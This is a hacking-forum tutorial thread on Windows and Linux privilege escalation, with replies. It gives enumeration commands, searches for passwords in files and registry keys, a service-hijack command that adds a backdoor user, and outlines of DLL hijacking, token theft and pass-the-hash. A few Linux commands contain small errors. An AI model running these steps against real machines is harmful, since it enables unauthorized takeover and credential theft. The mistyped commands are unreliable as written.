

Forum:[Hack Forums](#)

Thread: [\[TuT\] Privilege Escalation Part 1](#)

[BLANK] - May 24, 2017, 9:16 pm

Privilege Escalation Part 1

Introduction

So, you found an exploit that got you a foot hold onto a Windows or Linux computer. Smiling with that sense of euphoria and accomplishment you quickly type in a "whoami" command, and suddenly the great feeling disappears. You have shell access of a standard user. Not admin, not root, not system, just a plain old standard user. Now what...

This multi part guide will detail steps to escalate your privileges from a standard user to root or system. A lot of work has gone into gathering the information to present it in a cohesive and logical format and I hope everyone is able to gain some knowledge.

Primary Operating Systems for Part 1

[1] Windows XP - Windows 7

[2] Linux (Multiple Kernel Builds)

Core Steps

Collect - Enumeration, more enumeration and some more enumeration.

Process - Sort through data, analysis and prioritisation.

Search - Know what to search for and where to find the exploit code.

Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".

Try - Get ready for (lots of) trial and error.

Whoami

The first step to any successful privilege escalation to to find out exactly what level of permissions the current user has. Enumerate the network environment. You want to enumerate as much information as possible. The following commands will assist in this endeavor.

Windows Commands

One neat trick is to pipe the results with |clip it will send the results to your clipboard, makes it easy to copy and paste. I recommend creating a simple script that outputs the results from these commands to a file.

Start with finding information about the user and OS

[1] systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

[2] hostname

Enumerate the Network

[3] net users

[4] ipconfig /all

[5] route print

[6] arp -a

```
[7] netstat -ano
[8] netsh firewall show state
# Find scheduled tasks (more on this later)
[9] schtasks /query /fo LIST /v
[10] tasklist /SVC
# Find what services are running
[11] net start
[12] DRIVERQUERY
## I created a quick pastebin with all of the commands and it will send the output to one "loot.txt"
file, just copy and paste the script in the shell and then type "type loot.txt" to see all of the output.
https://pastebin.com/DnDQwLh1
```

Linux Commands For Enumeration

```
-----
[1] cat /etc/issues
[2] cat /proc/version/
[3] uname -a
[4] cat /etc/profile
[5] cat /etc/bashrc
[6] cat ~/.bash_profile
[7] cat ~/.bashrc
[8] cat ~/.bash_logout
[9] env
[10] set
[11] ps aux
[12] top
[13] ps aux | grep root
[14] ps -ef | grep root
[15] ls -alh /usr/bin/
[16] ls -aRI /etc/ | awk '$1 ~ /^.*r.*/'
[17] crontab -l
```

I won't go as deep in linux explanations, play around with the commands to see what they do.
Also the list of commands far exceeds windows so I won't be able to list them all.

Check Windows Patch

```
-----
# Patch information will let us know what exploits to look for!
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

Finding Exploits *****

Once you know the OS, Version, Patch level, and Application information running on the box it is time to search for exploits. The two sites I recommend:

- [1] <https://www.exploit-db.com/>
- [2] <http://searchsecurity.techtarget.com/>

Tops Windows XP - 7 Privilege Escalation Exploits

```
-----
KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683),
MS11-080 (KB2592799).
```

Top Linux Privilege Escalation Exploits

```
-----
CVE-2012-0056(memodipper), overlayfs
```

The above steps should be enough for anyone to identify an exploit that may work to provide privilege escalation. Now I will list information for common techniques for Windows Privilege Escalation.

Look for files on drive that contain password. Root folder C:\ may contain text files that include passwords in clear text or base64.

```
"findstr /si password .txt|*.xml|*.ini"
```

VNC files easily decrypted

Registry Keys with possible info (reg query):

(|clip to add output to clipboard)

VNC

```
\\HKCU\Software\ORL\WinVNC3>Password
```

Autologon

```
HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon
```

SNMP Parameters

```
HKLM\SYSTEM\CurrentControlSet\Services\SNMP\
```

PUTTY

```
HKCU\Software\SimonTatham\PuTTY\Sessions
```

Search commands:

```
reg query HKLM /f password /t REG_SZ /s | clip
```

```
reg query HKCU /f password /t REG_SZ /s | clip
```

On XP,2003 in taskbar find anything running as SYSTEM click and get a file dialogue, find cmd.exe and open a cmd.exe as SYSTEM.

Look for folders that allow Everyone write permissions and replace binary with malicious binary that will run as system. Use cacls and icaccls to see privileges for files.

Windows 7 provides default privileges to any program outside of the Programs directory.

Sysinternals - Autoruns - find programs with privileges that run outside of Programs file. Overwrite the file and it will run on login.

If we can't overwrite we can run use Procmon to see what .dll files are being called by the program that are outside of the system32 directory. If the dll file is NOT FOUND we can create a malicious file with the name of the dll and add it to the current directory of the program.

DLL Redirection - can specify the dll to use ".local/manifest"

doesn't work for known dll's

Find possible scheduled tasks that can be appended:

System tasks

AT - usually runs tasks as system

Scheduled tasks - can run as user

Viewing tasks

c:\windows\tasks

c:\windows\system32\tasks

Commands

AT

schtasks

compmgmt.msc

Autoruns - Services

Orphaned Installs - Missing files in writable locations

1. Use "accesschk.exe -uwcqv *" to find programs that services that can be written to by anyone.
2. rewrite the service with "sc.exe" tool.
Example: sc config upnphost binpath= "net user hax /add"
sc config upnphost obj= ".\LocalSystem" password=""
3. Restartd service:
net stop upnphost
net start upnphost

Read and write sensitive keys:

NtGdiEnableEudc Exploit (MS11-011)
Service Tracing key (MS10-059) (Read Cessars Work)
Registry symlink vuln (MS10-021)

Processes, Threads, Handles, Pipes, Shared memory

Inject code into unsecured processes
Steal process/thread tokens
Hijack handles for write access
Long pipes are long

AccessChk

Has syntax for checking most of these
"accesschk.exe /?"

Token Impersonation

The ability of a thread to execute using different security token

Requires SeImpersonatePrivilege
ASPNET, IWAM_computername
Local Service, Network Service

Token Reading

Cesar Cerrudo - Token Kidnapping 1/2/3 (Churrasco)
MWR InfoSecurity - Whitepaper

Incognito (metasploit or stand alone)

Luke Jennings
Finds usable delegation tokens

WCE

<http://www.ampliasecurity.com/research.html>

"Improved "Pass the Hash"
Retrieves hashes from LSASS
Modifies in memory current user hashes
Steal once use many
Grab a domain account hash and travel

IE Priv-Esc

(Pwn2Own) Protected Mode Bypass Vulnerability
Stephen Fewer
Create file as IL untrusted
Bypass if (IL == IL_LOW) check

PresentationHost

Ruben (ReverseMode)

XBAP applications loaded with full trust

Execute arbitrary .Net

I just wanted to add, if this thread is well received I will write future guides to go over in detail many of the methods that I mentioned. I ran out of room in this post and I thought they would make great subject matters for later installments.

One thing I didn't mention was using "getsystem" with metasploit. This works great on XP boxes, and if UAC is disabled, or if you already have administrator access then you can use "getsystem" from meterpreter on Windows 7 boxes as well.

__Digital__ - May 25, 2017, 6:26 am

Great thread, i look forward to seeing more from you. You can get system and admin rather quick and easy if you use powershell as well...

[BLANK] - May 25, 2017, 1:47 pm

(May 25, 2017 06:26 AM) **__Digital__** Wrote: [\[CITE\]](#) Great thread, i look forward to seeing more from you. You can get system and admin rather quick and easy if you use powershell as well...

Thanks, I will probably focus on that more in later parts of the guide, especially when I dive into Windows 7 - 10 privilege escalation in more detail.

Armada - May 25, 2017, 8:20 pm

Very well put together and articulated article.

Kudos and much respect for such a contribution so early in your stay with us, I hope to read more from you.

Spoiler ([Click to View](#)) Point of not, try not to double post the same thing in double sections next time ;)

[BLANK] - May 25, 2017, 9:43 pm

(May 25, 2017 08:20 PM) Armada Wrote: [\[CITE\]](#) Very well put together and articulated article.

Kudos and much respect for such a contribution so early in your stay with us, I hope to read more from you.

Spoiler ([Click to View](#)) Point of not, try not to double post the same thing in double sections next time ;)

Thank you very much for the kudos. I am glad you enjoyed it.

The_Defiant_One - May 26, 2017, 4:34 am

Good stuff! Looking forward to the rest of this tutorial series. Thanks for sharing!

UnknownCC - May 26, 2017, 7:19 am

Very nice my man. Very nice. as i'm about to this stage in an active home pentest this came in handy. I learn by doing. fantastic tut and look forward to more